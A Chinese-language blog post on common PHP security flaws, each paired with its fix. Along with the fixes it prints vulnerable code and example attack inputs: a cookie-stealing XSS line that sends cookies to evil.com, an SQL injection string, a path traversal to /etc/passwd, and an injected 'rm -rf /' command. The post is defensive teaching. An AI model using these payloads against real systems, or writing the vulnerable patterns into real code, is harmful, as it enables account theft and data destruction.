PHP老项目惊现活体漏洞博物馆!你的代码还在裸奔吗?

最近在review一个老项目的代码,发现这东西简直就是PHP安全漏洞的活体博物馆。作为一个在PHP坑里摸爬滚打多年的老油条,今天就来聊聊那些年我们交过的学费。

SQL注入:老生常谈的坑

先看这段祖传代码:

$username = $_POST['username'];

$password = $_POST['password'];

$sql = "SELECT FROM users WHERE username='$username' AND password='$password'";

这代码要是放在十年前还能算及格,现在看到这种写法我血压直接飙到180。知道什么叫"Bobby Tables"吗?就这代码,用户输入个' OR '1'='1,恭喜你,整个用户表都泄露了。

解决方案简单到令人发指:

1. 用PDO预处理:$stmt = $pdo->prepare("SELECT FROM users WHERE username=? AND password=?");

2. 或者用mysqli_real_escape_string()处理输入(虽然这招现在不太推荐了)

XSS攻击:你以为输出就安全了?

再看这个经典案例:

echo "

欢迎," . $_GET['name'] . "!
";

用户要是在name参数里塞个<script>alert('你被黑了')</script>,你的页面就变成弹窗广告了。更可怕的是盗取cookie的XSS,比如:

<script>new Image().src='http://evil.com/steal.php?cookie='+document.cookie;</script>

防御方法:

1. htmlspecialchars()是标配:echo "欢迎," . htmlspecialchars($_GET['name'], ENT_QUOTES) . "!";

2. 设置HttpOnly的cookie:ini_set("session.cookie_httponly", 1);

文件上传漏洞:给你服务器装后门

见过这种处理上传的代码吗:

if($_FILES['file']['type'] == 'image/jpeg') {

move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$_FILES['file']['name']);

}

骗子们最爱这种代码了。人家把evil.php改个后缀叫evil.jpg,MIME类型伪造一下,你的服务器就成肉鸡了。正确的姿势应该是:

1. 检查文件扩展名:$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

2. 重命名文件:$newName = md5(uniqid()).'.'.$ext;

3. 限制上传目录不可执行:open_basedir = /var/www/uploads/:/tmp/

CSRF攻击:躺着中枪

用户登录后,在另一个标签页访问恶意网站,这个网站里有:

如果用户刚好登录着网银,钱就飞了。防御方法:

1. 用CSRF token:

2. 检查Referer头(虽然不太可靠)

3. 关键操作要求二次验证

Session安全问题:你的会话可能不是你的

PHP默认的session处理有很多坑:

1. session固定攻击:攻击者先获取一个session id,然后诱导受害者使用这个id登录

2. session劫持:通过XSS盗取session id

解决方案:

1. 登录后重置session:session_regenerate_id(true);

2. 绑定用户IP:$_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];

3. 设置合理的session过期时间:ini_set('session.gc_maxlifetime', 1800);

密码存储:别再用md5了!

看到这种代码我直接想打人:

$password = md5($_POST['password']);

现在GPU一秒能算几十亿次md5,彩虹表早就把常见密码都收录了。正确做法:

1. 用password_hash(): $hash = password_hash($password, PASSWORD_DEFAULT);

2. 验证用password_verify(): if(password_verify($input, $hash)) {...}

include漏洞:小心被穿目录

这种代码很危险:

include($_GET['page'] . '.php');

用户输入个../../etc/passwd%00,你的服务器信息就泄露了。应该:

1. 白名单验证:$allowed = ['home','about','contact']; if(in_array($_GET['page'],$allowed))...

2. 用basename()处理路径:include(basename($_GET['page']).'.php');

PHP配置的坑

php.ini里这些配置要特别注意:

1. allow_url_include = Off (防止远程文件包含)

2. display_errors = Off (别把错误信息暴露给用户)

3. expose_php = Off (别告诉别人你用PHP)

4. disable_functions = exec,passthru,shell_exec,system (禁用危险函数)

SQL注入进阶:你以为用了框架就安全?

看到Laravel里这种写法我就头疼:

DB::select("SELECT FROM users WHERE id = ".$request->id);

ORM不是免死金牌!正确姿势:

User::where('id', $request->id)->first();

或者用参数绑定:DB::select("SELECT FROM users WHERE id = ?", [$request->id]);

密码重置漏洞

很多自己实现的密码重置功能有严重问题:

1. 重置链接的token没有过期时间

2. token没有和用户绑定

3. 允许暴力破解token

正确做法:

1. 用一次性token:$token = bin2hex(random_bytes(32));

2. 设置15分钟过期

3. 使用后立即失效

写API时常见错误:

1. 没有速率限制,被刷接口

2. 敏感数据直接返回

3. 没有签名验证

解决方案:

1. 用Redis做计数器:$redis->incr('api:'.$ip); if($count > 100) die('too many requests');

2. 数据脱敏:unset($user['password_hash']);

3. 签名验证:hash_hmac('sha256', $data, $secretKey);

最后说点掏心窝子的

安全这事,就像穿秋裤——年轻人总觉得没必要,等老寒腿发作就晚了。我见过太多项目,功能跑得飞起,安全千疮百孔。记住几个原则:

1. 所有输入都是不可信的

2. 最小权限原则

3. 防御要层层设防

4. 保持更新,补丁要及时打

最最后送个彩蛋,你知道这段代码有什么问题吗?

$cmd = "ls ".$_GET['dir'];

system($cmd);

要是用户输入个"; rm -rf /",你就准备重装系统。安全无小事,且写且珍惜。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值